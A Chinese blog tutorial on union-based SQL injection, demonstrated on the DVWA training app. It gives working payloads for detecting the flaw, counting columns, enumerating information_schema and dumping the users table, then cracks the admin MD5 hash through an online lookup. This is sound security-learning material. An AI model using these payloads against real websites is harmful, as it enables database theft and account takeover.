SQL注入1——显注(重学)

SQL注入

学习自:文章(201-A3-SQL注入(上)) 、视频(农夫安全201-A3-sql注入技巧上2



前言

先来一波八股文吧

SQL注入 (SQL Injection):通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,使得SQL语句产生歧义


一、显注

显注是指,当攻击者拼接SQL语句注入时,网站会把SQL语句的执行结果显示在网页上。

1、判断

我们以DVWA为案例
正常测试,输入1,可以得到如下结果

image-20220218012447630

当将输入变为’时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘’’ at line 1”,结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。它返回了一个SQL语句执行错误的结果,所以可以判断为显性注入。

image-20220218015343858

因为我们推测,网站程序中的SQL查询语句可能是这样的:

select * from XXX where id=‘$用户输入’

当我们输入’时,语句变为了:

select * from XXX where id=‘’’

如此,这个搜索语句多余一个引号,会引发报错。同时,这也代表了,攻击者是可以对原有程序进行拼接与注入的,只要尽力构造攻击语句,就可以对后端数据库为所欲为。

为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下两个语句:

1’ and 1=1#
1’ and 1=2#

(其中#与–同理,属于SQL语句的注释符号,会使其后面的语句无效。)

那么理想中,原有语句会被拼接成这样。

select * from XXX where id=‘1’ and 1=1#’
select * from XXX where id=‘1’ and 1=2#’

前一个执行为真,应与输入1时结果相同,后一个执行结果为假,应当不返还结果。

image-20220218135245966

image-20220218135305593

由此我们确认了,这个漏洞真实存在,而且后续有可以完全被攻击者操作。

2、判断字段数量

接下来,我们可以有order by num语句查询该数据表的字段数量。

由此我们可以知道接下来联合查询查询的信息可以有几条。

我们输入 1’ order by 1# 结果页面正常显示。继续测试,

1’ order by 2#,1’ order by 3#

,当输入3是,页面报错。页面错误信息如下,Unknown column ‘3’ in ‘order clause’,由此我们判断查询结果值为2列。

在这里插入图片描述
在这里插入图片描述
接下来利用联合查询,查看一下我们要查询的数据会被回显到哪里。

这里尝试注入

1’ and 1=2 union select 1,2 #

i

3、获取数据库信息

为了获取到整个数据库的特征。首先介绍一下,mysql和MariaDB数据库的一个特征,即information_schema库。

information_schema 库用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

image-20220218142430238

information_schema 库中的SCHEMATA表存储了数据库中的所有库信息,TABLES表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。COLUMNS 表存储表中的列信息,包括表有多少列、每个列的类型等

构造以下语句可以查到所有的库名。

1’ and 1=2 union select 1,schema_name from information_schema.schemata #

image-20220218143010819

4、获取表信息

接下来,我们查看dvwa库中的所有表名。

1’and 1=2 union select 1,table_name from information_schema.tables where table_schema= ‘dvwa’#

在这里插入图片描述

5、获取列信息

攻击者往往关心存储管理员用户与密码信息的表。所以接下来就是users表了。要查询users表中所有的列。

1’and 1=2 union select 2,column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’#

在这里插入图片描述

6、获取表信息

最后我们查看,user和password两列的信息。

1’and 1=2 union select user,password from dvwa.users#

image-20220218144604959

就这样我们就爆出所有的用户名和密码值!不过,这密码是经过md5加密的。我们需要找一些破解md5值的网站来进行破解!直接百度“CMD5”,然后选择一个网站进去破解就可以了。我们选择admin这个来进行破解,md5密文为:5f4dcc3b5aa765d61d8327deb882cf99。 可以看到密码已经被破解出来了,密码是“password”

结束啦

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值